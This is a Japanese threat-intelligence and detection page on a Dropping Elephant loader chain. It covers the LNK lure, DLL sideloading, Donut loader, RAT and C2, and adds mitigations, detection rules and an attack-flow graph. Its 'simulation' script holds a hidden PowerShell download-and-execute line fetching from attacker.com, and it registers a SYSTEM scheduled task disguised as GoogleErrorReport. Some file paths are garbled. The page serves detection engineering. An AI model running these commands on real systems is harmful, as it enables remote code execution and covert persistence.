最新のマルウェア: Dropping Elephantのローダーチェーンの内部
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
Dropping Elephantに帰属される洗練されたキャンペーンは、中国をテーマにした囮ドキュメントを使用して、更新されたメモリ常駐型リモートアクセス型トロイの木馬を配信します。侵入は、正当なMicrosoftバイナリを経由したDLLサイドローディングと、ディスクベースの検出を回避するためのDonutシェルコードローダーに依存しています。最終ペイロードは、制御フローのフラット化や実行時API再構築を含む高度な回避方法も使用しています。
調査
Rapid7の研究者たちは、PDFドキュメントを装った悪意のあるWindowsショートカットから始めた積極的なハントの中でこの脅威を発見しました。調査は、最初のステージングからペイロードチェーンを追跡しました chinagreenenergy[.]org を通じたDLLサイドローディング経由で APPWIZ.cpl のメモリ内RATの実行まで。Diaphoraを用いたコードレベルの分析により、Dropping Elephantの初期サンプルとの共通性が確認され、徹底的な再構築にもかかわらず、共通の系譜が明らかになりました。
緩和策
守るべき者は、PowerShellを起動するショートカットファイルや C:UsersPublicでの疑わしいペイロードステージングのような行動検出を優先すべきです。異常な名前のスケジュールされたタスクを監視することと、予期しないディレクトリからのDLLサイドローディングを確認することも重要です。さらに、エンドポイント防御ではメモリレベルでの可視性が必要で、AMSI、WLDP、ETWの改変を捕捉する必要があります。
対応
この活動が検出された場合は、影響を受けたシステムを直ちに隔離し、さらなるコマンド&コントロールのトラフィックを遮断してください。メモリフォレンジックを行い、注入されたRATを特定し、永続化のためにスケジュールされたタスクを調べてください。ネットワークログもまた、既知のC2ドメインへの不正HTTPS通信やファイル抽出の兆候を調査するべきです。
graph TB %% クラス定義 classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef process fill:#ccffcc classDef network fill:#ffff99 %% ノード定義 %% 初期アクセスと実行 action_user_exec[“<b>アクション</b> – <b>T1204.002 ユーザー実行: 悪意のあるファイル</b><br/>被害者が悪意のあるショートカットファイルを実行<br/><b>ファイル</b>: GRES3001.lnk<br/><b>偽装</b>: PDFアイコン”] class action_user_exec action action_icon_smuggling[“<b>アクション</b> – <b>T1027.012 難読化されたファイルまたは情報: LNKアイコン偽装</b><br/>アイコン操作によってユーザーを欺く<br/><b>手法</b>: LNKファイルのアイコン偽装”] class action_icon_smuggling action %% ダウンローダー段階 process_conhost[“<b>プロセス</b> – <b>conhost.exe</b><br/>コンソールウィンドウ用ホストプロセス<br/><b>役割</b>: PowerShellダウンローダーを起動”] class process_conhost process action_binary_padding[“<b>アクション</b> – <b>T1027.001 難読化されたファイルまたは情報: バイナリパディング</b><br/>文字列分割による難読化を使用<br/><b>対象</b>: PowerShellダウンローダースクリプト”] class action_binary_padding action tool_downloader[“<b>ツール</b> – <b>PowerShellダウンローダー</b><br/>デコイおよび悪意のあるペイロードを取得<br/><b>取得元</b>: chinagreenenergy[.]org”] class tool_downloader tool %% ダウンロード後と永続化 action_masquerading[“<b>アクション</b> – <b>T1036.008 偽装: ファイルタイプの偽装</b><br/>正規ファイルに見せかけるためにファイル名を変更<br/><b>ディレクトリ</b>: C:\\Users\\Public\\”] class action_masquerading action action_persistence[“<b>アクション</b> – <b>T1546 イベント駆動型実行</b><br/>スケジュールタスクにより永続化を確保<br/><b>タスク名</b>: GoogleErrorReport<br/><b>実行間隔</b>: 1分ごと”] class action_persistence action %% 実行チェーンとサイドローディング action_proxy_exec[“<b>アクション</b> – <b>T1218.002 システムバイナリプロキシ実行: コントロールパネル</b><br/>正規バイナリを利用してローダーを実行<br/><b>バイナリ</b>: Fondue.exe”] class action_proxy_exec action tool_loader_cpl[“<b>ツール</b> – <b>APPWIZ.cpl</b><br/>悪意のあるコントロールパネルローダー<br/><b>手法</b>: DLLサイドローディング”] class tool_loader_cpl tool action_reflective_load[“<b>アクション</b> – <b>T1620 リフレクティブコードローディング</b><br/>コードを直接メモリへマッピング<br/><b>ローダー</b>: Donutシェルコードローダー”] class action_reflective_load action %% 侵害後活動とC2 malware_rat[“<b>マルウェア</b> – <b>RAT</b><br/>リモートアクセス型トロイの木馬<br/><b>状態</b>: メモリ常駐”] class malware_rat malware action_gather_info[“<b>アクション</b> – <b>T1592 被害端末情報の収集</b><br/>システムメタデータを収集<br/><b>データ</b>: ユーザー名、コンピューター名、OS、IPアドレス”] class action_gather_info action action_c2[“<b>アクション</b> – <b>TA0011 コマンド&コントロール</b><br/>HTTPSを介して通信を維持<br/><b>ドメイン</b>: gcl-power[.]org”] class action_c2 action action_exfiltration[“<b>アクション</b> – <b>画面キャプチャおよび情報流出</b><br/>T1113 スクリーンキャプチャ<br/><b>目的</b>: データ窃取”] class action_exfiltration action %% 接続フロー action_user_exec –>|につながる| action_icon_smuggling action_icon_smuggling –>|起動する| process_conhost process_conhost –>|使用する| action_binary_padding action_binary_padding –>|実行する| tool_downloader tool_downloader –>|ダウンロードする| action_masquerading action_masquerading –>|設定する| action_persistence action_persistence –>|起動する| action_proxy_exec action_proxy_exec –>|読み込む| tool_loader_cpl tool_loader_cpl –>|利用する| action_reflective_load action_reflective_load –>|インストールする| malware_rat malware_rat –>|実行する| action_gather_info malware_rat –>|確立する| action_c2 action_c2 –>|促進する| action_exfiltration
攻撃フロー
検出
IPルックアップの可能性があるドメイン通信(dns経由)
表示
異常なコードページ変更実行(コマンドライン経由)
表示
疑わしいスケジュールされたタスク(監査経由)
表示
パブリックユーザープロファイルからの疑わしい実行(プロセス作成経由)
表示
疑わしいディレクトリからロードされたVcruntime140ダイナミックライブラリ(画像ロード経由)
表示
パブリックユーザープロファイル内の疑わしいファイル(ファイルイベント経由)
表示
Dropping Elephantのマルウェアキャンペーン検出 [Windows ネットワーク接続]
表示
Fondue.exe を介した悪意のあるDLLサイドローディング [Windows ファイルイベント]
表示
ショートカットとサイドローディングによるDropping Elephantマルウェアキャンペーン検出 [Windows プロセス作成]
表示
シミュレーションの実行
前提条件:テレメトリーとベースラインの事前確認が通過する必要があります。
理論:このセクションでは、検出ルールをトリガーするよう設計された敵対技術(TTP)の正確な実行を詳細に説明します。コマンドとナラティブは、特定されたTTPを直接反映し、検出ロジックが期待する正確なテレメトリーを生成することを目的としています。
-
攻撃ナラティブとコマンド: 敵対者は持続性を確立し、ダウンローダーを実行しようとしています。標準のメールフィルタを回避するために、
GRES3001.lnkという名前のショートカットファイルを使用し、それがPDFのように見えます。クリックすると、conhost.exeを呼び出して、PowerShellスクリプトを実行します。同時に、Googleのエラーレポータとして偽装して、一般点検をかわすために、GoogleErrorReportという名前のスケジュールタスクを作成することで持続性を確立し、Fondue.exeを公衆ディレクトリから実行することを目指しています。 -
回帰テストスクリプト:
# 1. ショートカット/Conhostの動作をシミュレート # コマンドラインで特定の文字列を使用してconhost.exeの実行をシミュレート Start-Process "conhost.exe" -ArgumentList "/c PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')" # 注:ルールの'CommandLine contains GRES3001.lnk'に厳密に一致させるために、そのファイルからの呼び出しのようにプロセスコールをシミュレート # シンプルなスクリプトで親プロセス名を偽装することは難しいため、期待されるコマンドライン文字列をシミュレート Write-Host "[!] GRES3001.lnkトリガーのシミュレーション中..." $SimulatedCmd = "conhost.exe /c GRES3001.lnk PowerShell.exe -Command Write-Host 'Malware Loaded'" # 実際の環境では、Sysmonの'CommandLine'フィールドにはターゲット文字列が含まれるでしょう。 # 2. スケジュールタスクとFondue.exeのサイドローディングをシミュレート Write-Host "[!] GoogleErrorReportスケジュールタスクのシミュレーション中..." New-Item -Path "C:UsersPublicFondue.exe" -ItemType File -Force Set-Content -Path "C:UsersPublicFondue.exe" -Value "Dummy Payload" $TaskName = "GoogleErrorReport" $Action = New-ScheduledTaskAction -Execute "C:UsersPublicFondue.exe" Register-ScheduledTask -Action $Action -TaskName $TaskName -Description "シミュレートされたDropping Elephantタスク" -User "SYSTEM" -Force Write-Host "[+] シミュレーション完了。SIEMでアラートを確認してください。" -
クリーンアップコマンド:
# ダミーマルウェアバイナリを削除 Remove-Item -Path "C:UsersPublicFondue.exe" -Force # 悪意あるスケジュールタスクを削除 Unregister-ScheduledTask -TaskName "GoogleErrorReport" -Confirm:$false Write-Host "[+] クリーンアップ完了。"